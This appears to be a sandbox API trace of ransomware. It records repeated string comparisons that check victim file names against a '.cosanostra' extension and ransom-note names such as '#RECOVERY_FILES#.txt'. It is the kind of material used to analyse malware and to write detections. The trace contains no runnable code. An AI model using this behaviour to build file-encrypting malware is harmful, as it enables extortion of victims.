[0088.227] StrStrIW (lpFirst="Green Bubbles.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Green Bubbles.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Green Bubbles.htm", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="GreenBubbles.jpg", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="GreenBubbles.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="GreenBubbles.jpg", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Hand Prints.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Hand Prints.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Hand Prints.htm", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="HandPrints.jpg", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="HandPrints.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="HandPrints.jpg", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Orange Circles.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Orange Circles.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Orange Circles.htm", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="OrangeCircles.jpg", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="OrangeCircles.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="OrangeCircles.jpg", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Peacock.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Peacock.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Peacock.htm", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Peacock.jpg", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Peacock.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Peacock.jpg", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Roses.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Roses.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Roses.htm", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Roses.jpg", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Roses.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Roses.jpg", lpString2="_uninstalling_.png") returned 1 [0088.227] StrStrIW (lpFirst="Shades of Blue.htm", lpSrch=".cosanostra") returned 0x0 [0088.227] lstrcmpW (lpString1="Shades of Blue.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Shades of Blue.htm", lpString2="_uninstalling_.png") returned 1 [0088.228] StrStrIW (lpFirst="ShadesOfBlue.jpg", lpSrch=".cosanostra") returned 0x0 [0088.228] lstrcmpW (lpString1="ShadesOfBlue.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.228] lstrcmpW (lpString1="ShadesOfBlue.jpg", lpString2="_uninstalling_.png") returned 1 [0088.228] StrStrIW (lpFirst="Soft Blue.htm", lpSrch=".cosanostra") returned 0x0 [0088.228] lstrcmpW (lpString1="Soft Blue.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.228] lstrcmpW (lpString1="Soft Blue.htm", lpString2="_uninstalling_.png") returned 1 [0088.228] StrStrIW (lpFirst="SoftBlue.jpg", lpSrch=".cosanostra") returned 0x0 [0088.228] lstrcmpW (lpString1="SoftBlue.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.229] lstrcmpW (lpString1="SoftBlue.jpg", lpString2="_uninstalling_.png") returned 1 [0088.229] StrStrIW (lpFirst="Stars.htm", lpSrch=".cosanostra") returned 0x0 [0088.229] lstrcmpW (lpString1="Stars.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.229] lstrcmpW (lpString1="Stars.htm", lpString2="_uninstalling_.png") returned 1 [0088.229] StrStrIW (lpFirst="Stars.jpg", lpSrch=".cosanostra") returned 0x0 [0088.229] lstrcmpW (lpString1="Stars.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.229] lstrcmpW (lpString1="Stars.jpg", lpString2="_uninstalling_.png") returned 1 [0088.230] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch=".cosanostra") returned 0x0 [0088.230] lstrcmpW (lpString1="WindowsMail.MSMessageStore", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.230] lstrcmpW (lpString1="WindowsMail.MSMessageStore", lpString2="_uninstalling_.png") returned 1 [0088.230] StrStrIW (lpFirst="WindowsMail.pat", lpSrch=".cosanostra") returned 0x0 [0088.230] lstrcmpW (lpString1="WindowsMail.pat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.230] lstrcmpW (lpString1="WindowsMail.pat", lpString2="_uninstalling_.png") returned 1 [0088.231] StrStrIW (lpFirst="WMSDKNS.DTD", lpSrch=".cosanostra") returned 0x0 [0088.231] lstrcmpW (lpString1="WMSDKNS.DTD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.231] lstrcmpW (lpString1="WMSDKNS.DTD", lpString2="_uninstalling_.png") returned 1 [0088.231] StrStrIW (lpFirst="WMSDKNS.XML", lpSrch=".cosanostra") returned 0x0 [0088.231] lstrcmpW (lpString1="WMSDKNS.XML", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.231] lstrcmpW (lpString1="WMSDKNS.XML", lpString2="_uninstalling_.png") returned 1 [0088.231] StrStrIW (lpFirst="Settings.ini", lpSrch=".cosanostra") returned 0x0 [0088.231] lstrcmpW (lpString1="Settings.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.231] lstrcmpW (lpString1="Settings.ini", lpString2="_uninstalling_.png") returned 1 [0088.637] StrStrIW (lpFirst="B60F3d01", lpSrch=".cosanostra") returned 0x0 [0088.637] lstrcmpW (lpString1="B60F3d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.637] lstrcmpW (lpString1="B60F3d01", lpString2="_uninstalling_.png") returned 1 [0088.643] StrStrIW (lpFirst="C3B7Bd01", lpSrch=".cosanostra") returned 0x0 [0088.643] lstrcmpW (lpString1="C3B7Bd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.643] lstrcmpW (lpString1="C3B7Bd01", lpString2="_uninstalling_.png") returned 1 [0088.643] StrStrIW (lpFirst="FCBF5d01", lpSrch=".cosanostra") returned 0x0 [0088.643] lstrcmpW (lpString1="FCBF5d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.643] lstrcmpW (lpString1="FCBF5d01", lpString2="_uninstalling_.png") returned 1 [0088.651] StrStrIW (lpFirst="0B619d01", lpSrch=".cosanostra") returned 0x0 [0088.651] lstrcmpW (lpString1="0B619d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.651] lstrcmpW (lpString1="0B619d01", lpString2="_uninstalling_.png") returned 1 [0088.652] StrStrIW (lpFirst="CBD4Dd01", lpSrch=".cosanostra") returned 0x0 [0088.652] lstrcmpW (lpString1="CBD4Dd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.652] lstrcmpW (lpString1="CBD4Dd01", lpString2="_uninstalling_.png") returned 1 [0088.815] StrStrIW (lpFirst="1D8FDd01", lpSrch=".cosanostra") returned 0x0 [0088.815] lstrcmpW (lpString1="1D8FDd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.815] lstrcmpW (lpString1="1D8FDd01", lpString2="_uninstalling_.png") returned 1 [0088.819] StrStrIW (lpFirst="16A09d01", lpSrch=".cosanostra") returned 0x0 [0088.819] lstrcmpW (lpString1="16A09d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.819] lstrcmpW (lpString1="16A09d01", lpString2="_uninstalling_.png") returned 1 [0088.819] StrStrIW (lpFirst="24B53d01", lpSrch=".cosanostra") returned 0x0 [0088.819] lstrcmpW (lpString1="24B53d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.819] lstrcmpW (lpString1="24B53d01", lpString2="_uninstalling_.png") returned 1 [0088.820] StrStrIW (lpFirst="28E95d01", lpSrch=".cosanostra") returned 0x0 [0088.820] lstrcmpW (lpString1="28E95d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.820] lstrcmpW (lpString1="28E95d01", lpString2="_uninstalling_.png") returned 1 [0088.820] StrStrIW (lpFirst="F17B2d01", lpSrch=".cosanostra") returned 0x0 [0088.820] lstrcmpW (lpString1="F17B2d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.820] lstrcmpW (lpString1="F17B2d01", lpString2="_uninstalling_.png") returned 1 [0088.821] StrStrIW (lpFirst="9DCB7d01", lpSrch=".cosanostra") returned 0x0 [0088.821] lstrcmpW (lpString1="9DCB7d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.821] lstrcmpW (lpString1="9DCB7d01", lpString2="_uninstalling_.png") returned 1 [0088.822] StrStrIW (lpFirst="71469d01", lpSrch=".cosanostra") returned 0x0 [0088.822] lstrcmpW (lpString1="71469d01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.822] lstrcmpW (lpString1="71469d01", lpString2="_uninstalling_.png") returned 1 [0088.823] StrStrIW (lpFirst="885EEd01", lpSrch=".cosanostra") returned 0x0 [0088.823] lstrcmpW (lpString1="885EEd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.823] lstrcmpW (lpString1="885EEd01", lpString2="_uninstalling_.png") returned 1 [0088.824] StrStrIW (lpFirst="7E0FEd01", lpSrch=".cosanostra") returned 0x0 [0088.824] lstrcmpW (lpString1="7E0FEd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.824] lstrcmpW (lpString1="7E0FEd01", lpString2="_uninstalling_.png") returned 1 [0088.825] StrStrIW (lpFirst="ECB2Dd01", lpSrch=".cosanostra") returned 0x0 [0088.825] lstrcmpW (lpString1="ECB2Dd01", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.825] lstrcmpW (lpString1="ECB2Dd01", lpString2="_uninstalling_.png") returned 1 [0088.825] StrStrIW (lpFirst="_CACHE_001_", lpSrch=".cosanostra") returned 0x0 [0088.825] lstrcmpW (lpString1="_CACHE_001_", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.825] lstrcmpW (lpString1="_CACHE_001_", lpString2="_uninstalling_.png") returned -1 [0088.825] StrStrIW (lpFirst="_CACHE_002_", lpSrch=".cosanostra") returned 0x0 [0088.825] lstrcmpW (lpString1="_CACHE_002_", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.825] lstrcmpW (lpString1="_CACHE_002_", lpString2="_uninstalling_.png") returned -1 [0088.825] StrStrIW (lpFirst="_CACHE_003_", lpSrch=".cosanostra") returned 0x0 [0088.825] lstrcmpW (lpString1="_CACHE_003_", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.825] lstrcmpW (lpString1="_CACHE_003_", lpString2="_uninstalling_.png") returned -1 [0088.825] StrStrIW (lpFirst="_CACHE_MAP_", lpSrch=".cosanostra") returned 0x0 [0088.825] lstrcmpW (lpString1="_CACHE_MAP_", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.825] lstrcmpW (lpString1="_CACHE_MAP_", lpString2="_uninstalling_.png") returned -1 [0088.826] StrStrIW (lpFirst="index.sqlite", lpSrch=".cosanostra") returned 0x0 [0088.826] lstrcmpW (lpString1="index.sqlite", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.826] lstrcmpW (lpString1="index.sqlite", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-malware-simple.cache", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-malware-simple.cache", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-malware-simple.cache", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-malware-simple.pset", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-malware-simple.pset", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-malware-simple.pset", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-malware-simple.sbstore", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-malware-simple.sbstore", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-malware-simple.sbstore", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-phish-simple.cache", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-phish-simple.cache", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-phish-simple.cache", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-phish-simple.pset", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-phish-simple.pset", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-phish-simple.pset", lpString2="_uninstalling_.png") returned 1 [0089.075] StrStrIW (lpFirst="test-phish-simple.sbstore", lpSrch=".cosanostra") returned 0x0 [0089.075] lstrcmpW (lpString1="test-phish-simple.sbstore", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.075] lstrcmpW (lpString1="test-phish-simple.sbstore", lpString2="_uninstalling_.png") returned 1 [0089.077] StrStrIW (lpFirst="startupCache.4.little", lpSrch=".cosanostra") returned 0x0 [0089.077] lstrcmpW (lpString1="startupCache.4.little", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.077] lstrcmpW (lpString1="startupCache.4.little", lpString2="_uninstalling_.png") returned 1 [0089.245] StrStrIW (lpFirst="4cc87c1409819bf06f42b782d4902b2f.png", lpSrch=".cosanostra") returned 0x0 [0089.245] lstrcmpW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.245] lstrcmpW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="_uninstalling_.png") returned 1 [0089.245] StrStrIW (lpFirst="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpSrch=".cosanostra") returned 0x0 [0089.245] lstrcmpW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.245] lstrcmpW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2="_uninstalling_.png") returned 1 [0089.245] StrStrIW (lpFirst="ce8c0453589216a67cddb50284fbfe8d.png", lpSrch=".cosanostra") returned 0x0 [0089.245] lstrcmpW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.245] lstrcmpW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2="_uninstalling_.png") returned 1 [0089.245] StrStrIW (lpFirst="_CACHE_CLEAN_", lpSrch=".cosanostra") returned 0x0 [0089.245] lstrcmpW (lpString1="_CACHE_CLEAN_", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.245] lstrcmpW (lpString1="_CACHE_CLEAN_", lpString2="_uninstalling_.png") returned -1 [0089.351] StrStrIW (lpFirst="active-update.xml", lpSrch=".cosanostra") returned 0x0 [0089.351] lstrcmpW (lpString1="active-update.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.351] lstrcmpW (lpString1="active-update.xml", lpString2="_uninstalling_.png") returned 1 [0089.354] StrStrIW (lpFirst="update.mar", lpSrch=".cosanostra") returned 0x0 [0089.354] lstrcmpW (lpString1="update.mar", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.354] lstrcmpW (lpString1="update.mar", lpString2="_uninstalling_.png") returned 1 [0089.354] StrStrIW (lpFirst="update.status", lpSrch=".cosanostra") returned 0x0 [0089.354] lstrcmpW (lpString1="update.status", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.354] lstrcmpW (lpString1="update.status", lpString2="_uninstalling_.png") returned 1 [0089.356] StrStrIW (lpFirst="updates.xml", lpSrch=".cosanostra") returned 0x0 [0089.356] lstrcmpW (lpString1="updates.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.356] lstrcmpW (lpString1="updates.xml", lpString2="_uninstalling_.png") returned 1 [0089.357] StrStrIW (lpFirst="-RlBqqU4pPCkOGX.m4a", lpSrch=".cosanostra") returned 0x0 [0089.357] lstrcmpW (lpString1="-RlBqqU4pPCkOGX.m4a", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.357] lstrcmpW (lpString1="-RlBqqU4pPCkOGX.m4a", lpString2="_uninstalling_.png") returned 1 [0089.357] StrStrIW (lpFirst="0 FL6.pps", lpSrch=".cosanostra") returned 0x0 [0089.357] lstrcmpW (lpString1="0 FL6.pps", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.357] lstrcmpW (lpString1="0 FL6.pps", lpString2="_uninstalling_.png") returned 1 [0089.357] StrStrIW (lpFirst="1CDBt.flv", lpSrch=".cosanostra") returned 0x0 [0089.357] lstrcmpW (lpString1="1CDBt.flv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.357] lstrcmpW (lpString1="1CDBt.flv", lpString2="_uninstalling_.png") returned 1 [0089.357] StrStrIW (lpFirst="1fse5oxdm3UTKlf-.gif", lpSrch=".cosanostra") returned 0x0 [0089.357] lstrcmpW (lpString1="1fse5oxdm3UTKlf-.gif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.357] lstrcmpW (lpString1="1fse5oxdm3UTKlf-.gif", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="1SDN5OVrqziLUasCej.flv", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="1SDN5OVrqziLUasCej.flv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="1SDN5OVrqziLUasCej.flv", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="3gJDa x-n7zuNYEDZtxF.gif", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="3gJDa x-n7zuNYEDZtxF.gif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="3gJDa x-n7zuNYEDZtxF.gif", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="4pLvX3eUwyX.rtf", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="4pLvX3eUwyX.rtf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="4pLvX3eUwyX.rtf", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="5sXgcUMsZ2.xls", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="5sXgcUMsZ2.xls", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="5sXgcUMsZ2.xls", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="6vfhoISbms2E.csv", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="6vfhoISbms2E.csv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="6vfhoISbms2E.csv", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="a8w6n.ots", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="a8w6n.ots", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="a8w6n.ots", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="AdobeARM.log", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="AdobeARM.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="AdobeARM.log", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="AXu3Ij4 Jg-oOt.swf", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="AXu3Ij4 Jg-oOt.swf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="AXu3Ij4 Jg-oOt.swf", lpString2="_uninstalling_.png") returned 1 [0089.358] StrStrIW (lpFirst="BDNSyZ0NKzt.mp3", lpSrch=".cosanostra") returned 0x0 [0089.358] lstrcmpW (lpString1="BDNSyZ0NKzt.mp3", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.358] lstrcmpW (lpString1="BDNSyZ0NKzt.mp3", lpString2="_uninstalling_.png") returned 1 [0089.359] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.359] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.359] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.359] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.387] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="cYfPqp98V72kH.xlsx", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="cYfPqp98V72kH.xlsx", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="cYfPqp98V72kH.xlsx", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="dad uD_LRIv9UXXC.mkv", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="dad uD_LRIv9UXXC.mkv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="dad uD_LRIv9UXXC.mkv", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="Fwi1Gg9e1J38IQ.jpg", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="Fwi1Gg9e1J38IQ.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="Fwi1Gg9e1J38IQ.jpg", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="Fwk-GQibdPrMdvML.mkv", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="Fwk-GQibdPrMdvML.mkv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="Fwk-GQibdPrMdvML.mkv", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="FXSAPIDebugLogFile.txt", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="FXSAPIDebugLogFile.txt", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="FXSAPIDebugLogFile.txt", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="go2v.swf", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="go2v.swf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="go2v.swf", lpString2="_uninstalling_.png") returned 1 [0089.387] StrStrIW (lpFirst="GUx-8.gif", lpSrch=".cosanostra") returned 0x0 [0089.387] lstrcmpW (lpString1="GUx-8.gif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.387] lstrcmpW (lpString1="GUx-8.gif", lpString2="_uninstalling_.png") returned 1 [0089.410] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.410] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.410] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.410] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.410] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.410] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.410] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.410] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.410] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.411] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.411] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="I t109b0bJ4pI9SjI.bmp", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="I t109b0bJ4pI9SjI.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="I t109b0bJ4pI9SjI.bmp", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="iG5Ghd3wGVbLJPh.mkv", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="iG5Ghd3wGVbLJPh.mkv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="iG5Ghd3wGVbLJPh.mkv", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="IWDammhdT.flv", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="IWDammhdT.flv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="IWDammhdT.flv", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="lGjyHa6a1.png", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="lGjyHa6a1.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="lGjyHa6a1.png", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="NM9EVh5tBxLKAaT.avi", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="NM9EVh5tBxLKAaT.avi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="NM9EVh5tBxLKAaT.avi", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="O FWbQ8De.mp3", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="O FWbQ8De.mp3", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="O FWbQ8De.mp3", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="o2WXgOgLnO.gif", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="o2WXgOgLnO.gif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.411] lstrcmpW (lpString1="o2WXgOgLnO.gif", lpString2="_uninstalling_.png") returned 1 [0089.411] StrStrIW (lpFirst="Oi847Bit.ppt", lpSrch=".cosanostra") returned 0x0 [0089.411] lstrcmpW (lpString1="Oi847Bit.ppt", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1="Oi847Bit.ppt", lpString2="_uninstalling_.png") returned 1 [0089.412] StrStrIW (lpFirst="PY_YnOJ1.pptx", lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1="PY_YnOJ1.pptx", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1="PY_YnOJ1.pptx", lpString2="_uninstalling_.png") returned 1 [0089.412] StrStrIW (lpFirst="rd_q9_5s.png", lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1="rd_q9_5s.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1="rd_q9_5s.png", lpString2="_uninstalling_.png") returned 1 [0089.412] StrStrIW (lpFirst="S4JtuCCFGsB.mp3", lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1="S4JtuCCFGsB.mp3", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1="S4JtuCCFGsB.mp3", lpString2="_uninstalling_.png") returned 1 [0089.412] StrStrIW (lpFirst=".", 